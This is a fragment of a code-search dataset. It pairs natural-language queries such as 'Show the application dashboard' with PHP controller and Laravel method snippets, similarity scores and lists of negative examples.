GitPHP_Controller_Tree();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'tags':\n\t\t\t\tif (empty($params['tag'])) {\n\t\t\t\t\t$controller = new GitPHP_Controller_Tags();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\tcase 'tag':\n\t\t\t\t$controller = new GitPHP_Controller_Tag();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'heads':\n\t\t\t\t$controller = new GitPHP_Controller_Heads();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blame':\n\t\t\t\t$controller = new GitPHP_Controller_Blame();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blob':\n\t\t\tcase 'blobs':\n\t\t\tcase 'blob_plain':\t\n\t\t\t\t$controller = new GitPHP_Controller_Blob();\n\t\t\t\tif ($action === 'blob_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'atom':\n\t\t\tcase 'rss':\n\t\t\t\t$controller = new GitPHP_Controller_Feed();\n\t\t\t\tif ($action == 'rss')\n\t\t\t\t\t$controller->SetParam('format', GitPHP_Controller_Feed::RssFormat);\n\t\t\t\telse if ($action == 'atom')\n\t\t\t\t\t$controller->SetParam('format', GitPHP_Controller_Feed::AtomFormat);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'commit':\n\t\t\tcase 'commits':\n\t\t\t\t$controller = new GitPHP_Controller_Commit();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'summary':\n\t\t\t\t$controller = new GitPHP_Controller_Project();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'project_index':\n\t\t\tcase 'projectindex':\n\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t$controller->SetParam('txt', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'opml':\n\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t$controller->SetParam('opml', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'login':\n\t\t\t\t$controller = new GitPHP_Controller_Login();\n\t\t\t\tif (!empty($_POST['username']))\n\t\t\t\t\t$controller->SetParam('username', $_POST['username']);\n\t\t\t\tif (!empty($_POST['password']))\n\t\t\t\t\t$controller->SetParam('password', $_POST['password']);\n\t\t\t\tbreak;\n\n\t\t\tcase 'logout':\n\t\t\t\t$controller = new GitPHP_Controller_Logout();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'graph':\n\t\t\tcase 'graphs':\n\t\t\t\t//$controller = new GitPHP_Controller_Graph();\n\t\t\t\t//break;\n\t\t\tcase 'graphdata':\n\t\t\t\t//$controller = new GitPHP_Controller_GraphData();\n\t\t\t\t//break;\n\t\t\tdefault:\n\t\t\t\tif (!empty($params['project'])) {\n\t\t\t\t\t$controller = new GitPHP_Controller_Project();\n\t\t\t\t} else {\n\t\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t}\n\t\t}\n\n\t\tforeach ($params as $paramname => $paramval) {\n\t\t\tif ($paramname !== 'action')\n\t\t\t\t$controller->SetParam($paramname, $paramval);\n\t\t}\n\n\t\t$controller->SetRouter($this);\n\n\t\treturn $controller;\n\t}",
"public function testCreateTheControllerClass()\n {\n $controller = new Game21Controller();\n $this->assertInstanceOf(\"\\App\\Http\\Controllers\\Game21Controller\", $controller);\n }",
"public static function createController( MShop_Context_Item_Interface $context, $name = null );",
"public function __construct()\n {\n\n $url = $this->splitURL();\n // echo $url[0];\n\n // check class file exists\n if (file_exists(\"../app/controllers/\" . strtolower($url[0]) . \".php\")) {\n $this->controller = strtolower($url[0]);\n unset($url[0]);\n }\n\n // echo $this->controller;\n\n require \"../app/controllers/\" . $this->controller . \".php\";\n\n // create Instance(object)\n $this->controller = new $this->controller(); // $this->controller is an object from now on\n if (isset($url[1])) {\n if (method_exists($this->controller, $url[1])) {\n $this->method = $url[1];\n unset($url[1]);\n }\n }\n\n // run the class and method\n $this->params = array_values($url); // array_values 값들인 인자 0 부터 다시 배치\n call_user_func_array([$this->controller, $this->method], $this->params);\n }",
"public function getController();",
"public function getController();",
"public function getController();",
"public function createController($pageType, $template)\n {\n $controller = null;\n\n // Use factories first\n if (isset($this->controllerFactories[$pageType])) {\n $callable = $this->controllerFactories[$pageType];\n $controller = $callable($this, 'templates/'.$template);\n\n if ($controller) {\n return $controller;\n }\n }\n\n // See if a default controller exists in the theme namespace\n $class = null;\n if ($pageType == 'posts') {\n $class = $this->namespace.'\\\\Controllers\\\\PostsController';\n } elseif ($pageType == 'post') {\n $class = $this->namespace.'\\\\Controllers\\\\PostController';\n } elseif ($pageType == 'page') {\n $class = $this->namespace.'\\\\Controllers\\\\PageController';\n } elseif ($pageType == 'term') {\n $class = $this->namespace.'\\\\Controllers\\\\TermController';\n }\n\n if (class_exists($class)) {\n $controller = new $class($this, 'templates/'.$template);\n\n return $controller;\n }\n\n // Create a default controller from the stem namespace\n if ($pageType == 'posts') {\n $controller = new PostsController($this, 'templates/'.$template);\n } elseif ($pageType == 'post') {\n $controller = new PostController($this, 'templates/'.$template);\n } elseif ($pageType == 'page') {\n $controller = new PageController($this, 'templates/'.$template);\n } elseif ($pageType == 'search') {\n $controller = new SearchController($this, 'templates/'.$template);\n } elseif ($pageType == 'term') {\n $controller = new TermController($this, 'templates/'.$template);\n }\n\n return $controller;\n }",
"private function loadController($controller)\r\n {\r\n $className = $controller.'Controller';\r\n \r\n $class = new $className($this);\r\n \r\n $class->init();\r\n \r\n return $class;\r\n }",
"public static function newInstance ($class)\n {\n try\n {\n // the class exists\n $object = new $class();\n\n if (!($object instanceof sfController))\n {\n // the class name is of the wrong type\n $error = 'Class \"%s\" is not of the type sfController';\n $error = sprintf($error, $class);\n\n throw new sfFactoryException($error);\n }\n\n return $object;\n }\n catch (sfException $e)\n {\n $e->printStackTrace();\n }\n }",
"public function create()\n {\n //TODO frontEndDeveloper \n //load admin.classes.create view\n\n\n return view('admin.classes.create');\n }",
"private function generateControllerClass()\n {\n $dir = $this->bundle->getPath();\n\n $parts = explode('\\\\', $this->entity);\n $entityClass = array_pop($parts);\n $entityNamespace = implode('\\\\', $parts);\n\n $target = sprintf(\n '%s/Controller/%s/%sController.php',\n $dir,\n str_replace('\\\\', '/', $entityNamespace),\n $entityClass\n );\n\n if (file_exists($target)) {\n throw new \\RuntimeException('Unable to generate the controller as it already exists.');\n }\n\n $this->renderFile($this->skeletonDir, 'controller.php', $target, array(\n 'actions' => $this->actions,\n 'route_prefix' => $this->routePrefix,\n 'route_name_prefix' => $this->routeNamePrefix,\n 'dir' => $this->skeletonDir,\n 'bundle' => $this->bundle->getName(),\n 'entity' => $this->entity,\n 'entity_class' => $entityClass,\n 'namespace' => $this->bundle->getNamespace(),\n 'entity_namespace' => $entityNamespace,\n 'format' => $this->format,\n ));\n }",
"static public function Instance()\t\t// Static so we use classname itself to create object i.e. Controller::Instance()\r\n {\r\n // Only one object of this class is required\r\n // so we only create if it hasn't already\r\n // been created.\r\n if(!isset(self::$_instance))\r\n {\r\n self::$_instance = new self();\t// Make new instance of the Controler class\r\n self::$_instance->_commandResolver = new CommandResolver();\r\n\r\n ApplicationController::LoadViewMap();\r\n }\r\n return self::$_instance;\r\n }",
"private function create_mock_controller() {\n eval('class TestController extends cyclone\\request\\SkeletonController {\n function before() {\n DispatcherTest::$beforeCalled = TRUE;\n DispatcherTest::$route = $this->_request->route;\n }\n\n function after() {\n DispatcherTest::$afterCalled = TRUE;\n }\n\n function action_act() {\n DispatcherTest::$actionCalled = TRUE;\n }\n}');\n }",
"public function AController() {\r\n\t}",
"protected function initializeController() {}",
"public function dispatch()\n { \n $controller = $this->formatController();\n $controller = new $controller($this);\n if (!$controller instanceof ControllerAbstract) {\n throw new Exception(\n 'Class ' . get_class($controller) . ' is not a valid controller instance. Controller classes must '\n . 'derive from \\Europa\\ControllerAbstract.'\n );\n }\n $controller->action();\n return $controller;\n }",
"public function controller()\n {\n $method = $_SERVER['REQUEST_METHOD'];\n if ($method == 'GET') {\n $this->getController();\n };\n if ($method == 'POST') {\n check_csrf();\n $this->createController();\n };\n }",
"private function addController($controller)\n {\n $object = new $controller($this->app);\n $this->controllers[$controller] = $object;\n }",
"function Controller($ControllerName = Web\\Application\\DefaultController) {\n return Application()->Controller($ControllerName);\n }",
"public function getController($controllerName) {\r\n\t\tif(!isset(self::$instances[$controllerName])) {\r\n\t\t $package = $this->getPackage(Nomenclature::getVendorAndPackage($controllerName));\r\n\t\t if(!$package) {\r\n\t\t $controller = new $controllerName();\r\n\t\t $controller->setContext($this->getContext());\r\n\t\t return $controller;\r\n\t\t //return false;\r\n\t\t }\r\n\r\n\t\t if(!$package || !$package->controllerExists($controllerName)) {\r\n\t\t $controller = new $controllerName();\r\n\t\t $controller->setContext($this->getContext());\r\n\t\t $package->addController($controller);\r\n\t\t } else {\r\n\t\t $controller = $package->getController($controllerName);\r\n\t\t }\r\n\t\t} else {\r\n\t\t $controller = self::$instances[$controllerName];\r\n\t\t}\r\n\t\treturn $controller;\r\n\t}",
"public function testInstantiateSessionController()\n {\n $controller = new SessionController();\n\n $this->assertInstanceOf(\"App\\Http\\Controllers\\SessionController\", $controller);\n }",
"private static function loadController($str) {\n\t\t$str = self::formatAsController($str);\n\t\t$app_controller = file_exists(APP_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t$lib_controller = file_exists(LIB_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\n\t\tif ( $app_controller || $lib_controller ) {\n\t\t\tif ($app_controller) {\n\t\t\t\trequire_once(APP_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\t}\n\t\t\telse {\n\t\t\t\trequire_once(LIB_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\t}\n\t\n\t\t\t$controller = new $str();\n\t\t\t\n\t\t\tif (!$controller instanceof Controller) {\n\t\t\t\tthrow new IsNotControllerException();\n\t\t\t}\n\t\t\telse {\n\t\t\t\treturn $controller;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tthrow new ControllerNotExistsException($str);\n\t\t}\n\t}",
"public function __construct()\n {\n // and $url[1] is a controller method\n if ($_GET['url'] == NULL) {\n $url = explode('/', env('defaultRoute'));\n } else {\n $url = explode('/', rtrim($_GET['url'],'/'));\n }\n\n $file = 'controllers/' . $url[0] . '.php';\n if (file_exists($file)) {\n require $file;\n $controller = new $url[0];\n\n if (isset($url[1])) {\n $controller->{$url[1]}();\n }\n } else {\n echo \"404 not found\";\n }\n }",
"protected function _controllers()\n {\n $this['watchController'] = $this->factory(static function ($c) {\n return new Controller\\WatchController($c['app'], $c['searcher']);\n });\n\n $this['runController'] = $this->factory(static function ($c) {\n return new Controller\\RunController($c['app'], $c['searcher']);\n });\n\n $this['customController'] = $this->factory(static function ($c) {\n return new Controller\\CustomController($c['app'], $c['searcher']);\n });\n\n $this['waterfallController'] = $this->factory(static function ($c) {\n return new Controller\\WaterfallController($c['app'], $c['searcher']);\n });\n\n $this['importController'] = $this->factory(static function ($c) {\n return new Controller\\ImportController($c['app'], $c['saver'], $c['config']['upload.token']);\n });\n\n $this['metricsController'] = $this->factory(static function ($c) {\n return new Controller\\MetricsController($c['app'], $c['searcher']);\n });\n }",
"public function __construct() {\r\n $this->controllerLogin = new ControllerLogin();\r\n $this->controllerGame = new ControllerGame();\r\n $this->controllerRegister = new ControllerRegister();\r\n }",
"public function controller ($post = array())\n\t{\n\n\t\t$name = $post['controller_name'];\n\n\t\tif (is_file(APPPATH.'controllers/'.$name.'.php')) {\n\n\t\t\t$message = sprintf(lang('Controller_s_is_existed'), APPPATH.'controllers/'.$name.'.php');\n\n\t\t\t$this->msg[] = $message;\n\n\t\t\treturn $this->result(false, $this->msg[0]);\n\n\t\t}\n\n\t\t$extends = null;\n\n\t\tif (isset($post['crud'])) {\n\n\t\t\t$crud = true;\n\t\t\t\n\t\t}\n\t\telse{\n\n\t\t\t$crud = false;\n\n\t\t}\n\n\t\t$file = $this->_create_folders_from_name($name, 'controllers');\n\n\t\t$data = '';\n\n\t\t$data .= $this->_class_open($file['file'], __METHOD__, $extends);\n\n\t\t$crud === FALSE || $data .= $this->_crud_methods_contraller($post);\n\n\t\t$data .= $this->_class_close();\n\n\t\t$path = APPPATH . 'controllers/' . $file['path'] . strtolower($file['file']) . '.php';\n\n\t\twrite_file($path, $data);\n\n\t\t$this->msg[] = sprintf(lang('Created_controller_s'), $path);\n\n\t\t//echo $this->_messages();\n\t\treturn $this->result(true, $this->msg[0]);\n\n\t}",
"protected function getController(Request $request) {\n try {\n $controller = $this->objectFactory->create($request->getControllerName(), self::INTERFACE_CONTROLLER);\n } catch (ZiboException $exception) {\n throw new ZiboException('Could not create controller ' . $request->getControllerName(), 0, $exception);\n }\n\n return $controller;\n }",
"public function create() {}",
"public function __construct()\n {\n $this->dataController = new DataController;\n }",
"function __contrruct(){ //construdor do controller, nele é possivel carregar as librari, helpers, models que serão utilizados nesse controller\n\t\tparent::__contrruct();//Chamando o construtor da classe pai\n\t}",
"public function __construct() {\n\n // Get the URL elements.\n $url = $this->_parseUrl();\n\n // Checks if the first URL element is set / not empty, and replaces the\n // default controller class string if the given class exists.\n if (isset($url[0]) and ! empty($url[0])) {\n $controllerClass = CONTROLLER_PATH . ucfirst(strtolower($url[0]));\n unset($url[0]);\n if (class_exists($controllerClass)) {\n $this->_controllerClass = $controllerClass;\n }\n }\n\n // Replace the controller class string with a new instance of the it.\n $this->_controllerClass = new $this->_controllerClass;\n\n // Checks if the second URL element is set / not empty, and replaces the\n // default controller action string if the given action is a valid class\n // method.\n if (isset($url[1]) and ! empty($url[1])) {\n if (method_exists($this->_controllerClass, $url[1])) {\n $this->_controllerAction = $url[1];\n unset($url[1]);\n }\n }\n\n // Check if the URL has any remaining elements, setting the controller\n // parameters as a rebase of it if true or an empty array if false.\n $this->_controllerParams = $url ? array_values($url) : [];\n\n // Call the controller and action with parameters.\n call_user_func_array([$this->_controllerClass, $this->_controllerAction], $this->_controllerParams);\n }",
"private function setUpController()\n {\n $this->controller = new TestObject(new SharedControllerTestController);\n\n $this->controller->dbal = DBAL::getDBAL('testDB', $this->getDBH());\n }",
"public function create() {\n $class_name = $this->getOption('className');\n return new $class_name();\n }"
] | [
"0.82668066",
"0.8173394",
"0.78115296",
"0.77052677",
"0.7681875",
"0.7659338",
"0.74860525",
"0.74064577",
"0.7297601",
"0.7252339",
"0.7195181",
"0.7174191",
"0.70150065",
"0.6989306",
"0.69835985",
"0.69732994",
"0.6963521",
"0.6935819",
"0.68973273",
"0.68920785",
"0.6877748",
"0.68702674",
"0.68622285",
"0.6839049",
"0.6779292",
"0.6703522",
"0.66688496",
"0.66600126",
"0.6650373",
"0.66436416",
"0.6615505",
"0.66144013",
"0.6588728",
"0.64483404",
"0.64439476",
"0.6429303",
"0.6426485",
"0.6303757",
"0.6298291",
"0.6293319",
"0.62811387",
"0.6258778",
"0.62542456",
"0.616827",
"0.6162314",
"0.61610043",
"0.6139887",
"0.613725",
"0.61334985",
"0.6132223",
"0.6128982",
"0.61092585",
"0.6094611",
"0.60889256",
"0.6074893",
"0.60660255",
"0.6059098",
"0.60565156",
"0.6044235",
"0.60288006",
"0.6024102",
"0.60225666",
"0.6018304",
"0.60134345",
"0.60124683",
"0.6010913",
"0.6009284",
"0.6001683",
"0.5997471",
"0.5997012",
"0.59942573",
"0.5985074",
"0.5985074",
"0.5985074",
"0.5967613",
"0.5952533",
"0.5949068",
"0.5942203",
"0.5925731",
"0.5914304",
"0.5914013",
"0.59119135",
"0.5910308",
"0.5910285",
"0.59013796",
"0.59003943",
"0.5897524",
"0.58964556",
"0.58952993",
"0.58918965",
"0.5888943",
"0.5875413",
"0.5869938",
"0.58627135",
"0.58594996",
"0.5853714",
"0.5839484",
"0.5832913",
"0.582425",
"0.58161044",
"0.5815566"
] | 0.0 | -1 |
Show the application dashboard. | public function index()
{
// $data["mobile"] = Auth::user()->profile->phone ;
// $data["location"] = Auth::user()->profile->location ;
if(Auth::user()->is_admin == 1){
return redirect('/admin');
}
$data['all_balance'] = Balance::allBalance();
$data['all_profit'] = Balance::allProfit();
return view('pages.home.index', $data);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function dashboard()\n {\n\n $pageData = (new DashboardService())->handleDashboardLandingPage();\n\n return view('application', $pageData);\n }",
"function dashboard() {\r\n\t\t\tTrackTheBookView::render('dashboard');\r\n\t\t}",
"public function showDashboard() { \n\t\n return View('admin.dashboard');\n\t\t\t\n }",
"public function showDashboard()\n {\n return View::make('users.dashboard', [\n 'user' => Sentry::getUser(),\n ]);\n }",
"public function dashboard()\n {\n return view('backend.dashboard.index');\n }",
"public function index() {\n return view(\"admin.dashboard\");\n }",
"public function dashboard()\n {\n return $this->renderContent(\n view('dashboard'),\n trans('sleeping_owl::lang.dashboard')\n );\n }",
"public function dashboard(){\n return view('backend.admin.index');\n }",
"public function showDashBoard()\n {\n \treturn view('Admins.AdminDashBoard');\n }",
"public function dashboard()\n {\n return view('dashboard.index');\n }",
"public function index()\n {\n return view('admin.dashboard', ['title' => 'Dashboard']);\n }",
"public function dashboard() \r\n {\r\n return view('admin.index');\r\n }",
"public function dashboard()\n\t{\n\t\t$page_title = 'organizer dashboard';\n\t\treturn View::make('organizer.dashboard',compact('page_title'));\n\t}",
"public function dashboard()\n {\n\t\t$traffic = TrafficService::getTraffic();\n\t\t$devices = TrafficService::getDevices();\n\t\t$browsers = TrafficService::getBrowsers();\n\t\t$status = OrderService::getStatus();\n\t\t$orders = OrderService::getOrder();\n\t\t$users = UserService::getTotal();\n\t\t$products = ProductService::getProducts();\n\t\t$views = ProductService::getViewed();\n\t\t$total_view = ProductService::getTotalView();\n\t\t$cashbook = CashbookService::getAccount();\n $stock = StockService::getStock();\n\n return view('backend.dashboard', compact('traffic', 'devices', 'browsers', 'status', 'orders', 'users', 'products', 'views', 'total_view', 'cashbook', 'stock'));\n }",
"public function dashboard()\n {\n\n return view('admin.dashboard');\n }",
"public function dashboard()\n {\n return view('dashboard');\n }",
"public function dashboard()\n {\n return view('dashboard');\n }",
"public function dashboard()\n {\n return view('dashboard');\n }",
"public function dashboard()\n {\n return view('dashboard');\n }",
"public function index()\n {\n return view('admin.dashboard');\n }",
"public function index()\n {\n return view('admin.dashboard');\n }",
"public function index()\n {\n return view('admin.dashboard');\n }",
"public function index()\n {\n return view('admin.dashboard');\n }",
"public function index()\n {\n return view('admin.dashboard');\n }",
"public function index()\n {\n return view('adm.dashboard');\n }",
"public function dashboard()\n {\n $users = \\App\\User::all()->count();\n $roles = \\Spatie\\Permission\\Models\\Role::all()->count();\n $permissions = \\Spatie\\Permission\\Models\\Permission::all()->count();\n $banner = \\App\\Banner::all();\n $categoria = \\App\\Categoria::all();\n $entidadOrganizativa = \\App\\Entidadorganizativa::all();\n $evento = \\App\\Evento::all();\n $fichero = \\App\\Fichero::all();\n $recurso = \\App\\Recurso::all();\n $redsocial = \\App\\Redsocial::all();\n $subcategoria = \\App\\Subcategoria::all();\n $tag = \\App\\Tag::all();\n\n $entities = \\Amranidev\\ScaffoldInterface\\Models\\Scaffoldinterface::all();\n\n return view('scaffold-interface.dashboard.dashboard',\n compact('users', 'roles', 'permissions', 'entities',\n 'banner', 'categoria', 'entidadOrganizativa',\n 'evento', 'fichero', 'recurso', 'redsocial', 'subcategoria', 'tag')\n );\n }",
"public function show()\n {\n return view('dashboard');\n }",
"public function index()\n\t{\n\t\treturn View::make('dashboard');\n\t}",
"public function index() {\n return view('modules.home.dashboard');\n }",
"public function show()\n {\n return view('dashboard.dashboard');\n \n }",
"public function index()\n {\n return view('admin.dashboard.dashboard');\n\n }",
"public function dashboard()\n { \n return view('jobposter.dashboard');\n }",
"public function show()\n\t{\n\t\t//\n\t\t$apps = \\App\\application::all();\n\t\treturn view('applications.view', compact('apps'));\n\t}",
"public function index()\n {\n return view('pages.admin.dashboard');\n }",
"public function indexAction()\n {\n $dashboard = $this->getDashboard();\n\n return $this->render('ESNDashboardBundle::index.html.twig', array(\n 'title' => \"Dashboard\"\n ));\n }",
"public function index()\n {\n //\n return view('admin.dashboard');\n }",
"public function index()\n {\n return view('admin.dashboard.index');\n }",
"public function dashboard()\n {\n return view('pages.backsite.dashboard');\n }",
"public function index()\n {\n // return component view('dashboard.index');\n return view('layouts.admin_master');\n }",
"public function index()\n {\n\n $no_of_apps = UploadApp::count();\n $no_of_analysis_done = UploadApp::where('isAnalyzed', '1')->count();\n $no_of_visible_apps = AnalysisResult::where('isVisible', '1')->count();\n\n return view('admin.dashboard', compact('no_of_apps', 'no_of_analysis_done', 'no_of_visible_apps'));\n }",
"public function getDashboard() {\n return view('admin.dashboard');\n }",
"public function index()\n {\n return view('smartcrud.auth.dashboard');\n }",
"public function index()\n {\n if($this->isAdmin() == TRUE)\n {\n $this->loadThis();\n }\n $this->global['pageTitle'] = 'Touba : Dashboard';\n \n $this->loadViews(\"dashboard\", $this->global, NULL , NULL);\n }",
"public function dashboard() {\n $data = ['title' => 'Dashboard'];\n return view('pages.admin.dashboard', $data)->with([\n 'users' => $this->users,\n 'num_services' => Service::count(),\n 'num_products' => Product::count(),\n ]);\n }",
"public function index()\n {\n return view('board.pages.dashboard-board');\n }",
"public function index()\n {\n return view('admin::settings.development.dashboard');\n }",
"public function index()\n {\n return view('dashboard.dashboard');\n }",
"public function show()\n {\n return view('dashboard::show');\n }",
"public function adminDash()\n {\n return Inertia::render(\n 'Admin/AdminDashboard', \n [\n 'data' => ['judul' => 'Halaman Admin']\n ]\n );\n }",
"public function dashboard()\n {\n return view('Admin.dashboard');\n }",
"public function show()\n {\n return view('admins\\auth\\dashboard');\n }",
"public function index()\n {\n // Report =============\n\n return view('Admin.dashboard');\n }",
"public function index()\n {\n return view('bitaac::account.dashboard');\n }",
"public function index()\n { \n return view('admin-views.dashboard');\n }",
"public function getDashboard()\n {\n return view('dashboard');\n }",
"function showDashboard()\n { \n $logeado = $this->checkCredentials();\n if ($logeado==true)\n $this->view->ShowDashboard();\n else\n $this->view->showLogin();\n }",
"public function index()\n { \n $params['crumbs'] = 'Home';\n $params['active'] = 'home';\n \n return view('admin.dashboard.index', $params);\n }",
"public function index()\n\t{\n\t\treturn view::make('customer_panel.dashboard');\n\t}",
"public function index()\n {\n return view('dashboard');\n }",
"public function index()\n {\n return view('dashboard');\n }",
"public function index()\n {\n return view('dashboard');\n }",
"public function index()\n {\n return view('dashboard');\n }",
"public function index()\n {\n return view('dashboard');\n }",
"public function index()\n {\n return view('dashboard');\n }",
"public function index()\n {\n return view('dashboard');\n }",
"public function index()\n {\n return view('dashboard');\n }",
"public function index() {\n // return view('home');\n return view('admin-layouts.dashboard.dashboard');\n }",
"public function index()\r\n {\r\n return view('user.dashboard');\r\n }",
"public function index() {\n return view('dashboard', []);\n }",
"public function index()\n {\n //\n return view('dashboard.dashadmin', ['page' => 'mapel']);\n }",
"public function index()\n {\n return view('back-end.dashboard.index');\n //\n }",
"public function index()\n\t{\n\t\t\n\t\t$data = array(\n\t\t\t'title' => 'Administrator Apps With Laravel',\n\t\t);\n\n\t\treturn View::make('panel/index',$data);\n\t}",
"public function index() {\n return view('dashboard.index');\n }",
"public function index()\n {\n return view('page.dashboard.index');\n }",
"public function index()\n {\n\n return view('dashboard');\n }",
"public function dashboardview() {\n \n $this->load->model('Getter');\n $data['dashboard_content'] = $this->Getter->get_dash_content();\n \n $this->load->view('dashboardView', $data);\n\n }",
"public function index()\n {\n $this->authorize(DashboardPolicy::PERMISSION_STATS);\n\n $this->setTitle($title = trans('auth::dashboard.titles.statistics'));\n $this->addBreadcrumb($title);\n\n return $this->view('admin.dashboard');\n }",
"public function display()\n\t{\n\t\t// Set a default view if none exists.\n\t\tif (!JRequest::getCmd( 'view' ) ) {\n\t\t\tJRequest::setVar( 'view', 'dashboard' );\n\t\t}\n\n\t\tparent::display();\n\t}",
"public function action_index()\r\n\t{\t\t\t\t\r\n\t\t$this->template->title = \"Dashboard\";\r\n\t\t$this->template->content = View::forge('admin/dashboard');\r\n\t}",
"public function index()\n {\n $info = SiteInfo::limit(1)->first();\n return view('backend.info.dashboard',compact('info'));\n }",
"public function index()\n {\n $news = News::all();\n $posts = Post::all();\n $events = Event::all();\n $resources = Resources::all();\n $admin = Admin::orderBy('id', 'desc')->get();\n return view('Backend/dashboard', compact('admin', 'news', 'posts', 'events', 'resources'));\n }",
"public function index()\n {\n\n return view('superAdmin.adminDashboard')->with('admin',Admininfo::all());\n\n }",
"public function index()\n {\n return view('dashboard.index');\n }",
"public function index()\n {\n return view('dashboard.index');\n }",
"public function index()\n {\n $this->template->set('title', 'Dashboard');\n $this->template->load('admin', 'contents' , 'admin/dashboard/index', array());\n }",
"public function index()\n {\n return view('/dashboard');\n }",
"public function index()\n {\n \treturn view('dashboard');\n }",
"public function index()\n {\n return view('ketua.ketua-dashboard');\n }",
"public function index(){\n return View::make('admin.authenticated.dashboardview');\n }",
"public function admAmwDashboard()\n {\n return View::make('admission::amw.admission_test.dashboard');\n }",
"public function index()\n {\n return view('adminpanel.home');\n }",
"public function dashboard()\n\t{\n\t\t$this->validation_access();\n\t\t\n\t\t$this->load->view('user_dashboard/templates/header');\n\t\t$this->load->view('user_dashboard/index.php');\n\t\t$this->load->view('user_dashboard/templates/footer');\n\t}",
"public function index()\n {\n return view('dashboard.home');\n }",
"public function index()\n {\n $admins = $this->adminServ->all();\n $adminRoles = $this->adminTypeServ->all();\n return view('admin.administrators.dashboard', compact('admins', 'adminRoles'));\n }",
"public function index()\n {\n if (ajaxCall::ajax()) {return response()->json($this -> dashboard);}\n //return response()->json($this -> dashboard);\n JavaScript::put($this -> dashboard);\n return view('app')-> with('header' , $this -> dashboard['header']);\n //return view('home');\n }",
"public function index()\n {\n $userinfo=User::all();\n $gateinfo=GateEntry::all();\n $yarninfo=YarnStore::all();\n $greyinfo=GreyFabric::all();\n $finishinfo=FinishFabric::all();\n $dyesinfo=DyeChemical::all();\n return view('dashboard',compact('userinfo','gateinfo','yarninfo','greyinfo','finishinfo','dyesinfo'));\n }",
"public function actionDashboard(){\n \t$dados_dashboard = Yii::app()->user->getState('dados_dashbord_final');\n \t$this->render ( 'dashboard', $dados_dashboard);\n }",
"public function dashboard() {\n if (!Auth::check()) { // Check is user logged in\n // redirect to dashboard\n return Redirect::to('login');\n }\n\n $user = Auth::user();\n return view('site.dashboard', compact('user'));\n }",
"public function index()\n {\n $user = new User();\n $book = new Book();\n return view('admin.dashboard', compact('user', 'book'));\n }",
"public function dashboard()\n {\n $users = User::all();\n return view('/dashboard', compact('users'));\n }",
"public function index()\n {\n $lineChart = $this->getLineChart();\n $barChart = $this->getBarChart();\n $pieChart = $this->getPieChart();\n\n return view('admin.dashboard.index', compact(['lineChart', 'barChart', 'pieChart']));\n }"
] | [
"0.77862287",
"0.7761407",
"0.7563901",
"0.75170934",
"0.746699",
"0.74665695",
"0.7367683",
"0.73534966",
"0.7348662",
"0.7343759",
"0.7328216",
"0.73182577",
"0.73092335",
"0.728953",
"0.72847724",
"0.7275449",
"0.7275449",
"0.7275449",
"0.7275449",
"0.7253329",
"0.7253329",
"0.7253329",
"0.7253329",
"0.7253329",
"0.7242651",
"0.7238307",
"0.7237317",
"0.7219582",
"0.7199839",
"0.71993226",
"0.71928704",
"0.71812886",
"0.7167083",
"0.7159392",
"0.7148408",
"0.7135078",
"0.7134049",
"0.7131566",
"0.7125967",
"0.71214664",
"0.7119546",
"0.7111876",
"0.7109968",
"0.71093625",
"0.70989627",
"0.7082487",
"0.70770097",
"0.70768017",
"0.7065654",
"0.7057395",
"0.70552087",
"0.7052588",
"0.70494616",
"0.70454663",
"0.70416385",
"0.7022026",
"0.7019332",
"0.7015568",
"0.7010608",
"0.7010608",
"0.7010608",
"0.7010608",
"0.7010608",
"0.7010608",
"0.7010608",
"0.7010608",
"0.6993445",
"0.69812995",
"0.69754696",
"0.69749504",
"0.69699633",
"0.6969114",
"0.69688344",
"0.6966357",
"0.6959957",
"0.6947264",
"0.69448495",
"0.69430286",
"0.69427854",
"0.69423646",
"0.69407797",
"0.69385755",
"0.69385237",
"0.69385237",
"0.6928513",
"0.69231254",
"0.6908938",
"0.69031125",
"0.6884284",
"0.6871347",
"0.68683225",
"0.6857883",
"0.6848346",
"0.68478656",
"0.68420464",
"0.68405044",
"0.6835461",
"0.6833515",
"0.6833089",
"0.68289226",
"0.68144387"
] | 0.0 | -1 |
Run the database seeds. | public function run()
{
$array_categories = Categorie::get()->pluck('id')->toArray();
$array_posts = Post::get()->pluck('id')->toArray();
// dd($array_categories[array_rand($array_categories)]);
for ($i = 0; $i < 5; $i++) {
DB::table('categorie_post')->insert(
[
'category_id' => $array_categories[array_rand($array_categories)],
'post_id' => $array_posts[array_rand($array_posts)]
]
);
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function run()\n {\n // $this->call(UserTableSeeder::class);\n // $this->call(PostTableSeeder::class);\n // $this->call(TagTableSeeder::class);\n // $this->call(PostTagTableSeeder::class);\n\n /*AB - use faker to populate table see file ModelFactory.php */\n factory(App\\Editeur::class, 40) ->create();\n factory(App\\Auteur::class, 40) ->create();\n factory(App\\Livre::class, 80) ->create();\n\n for ($i = 1; $i < 41; $i++) {\n $number = rand(2, 8);\n for ($j = 1; $j <= $number; $j++) {\n DB::table('auteur_livre')->insert([\n 'livre_id' => rand(1, 40),\n 'auteur_id' => $i\n ]);\n }\n }\n }",
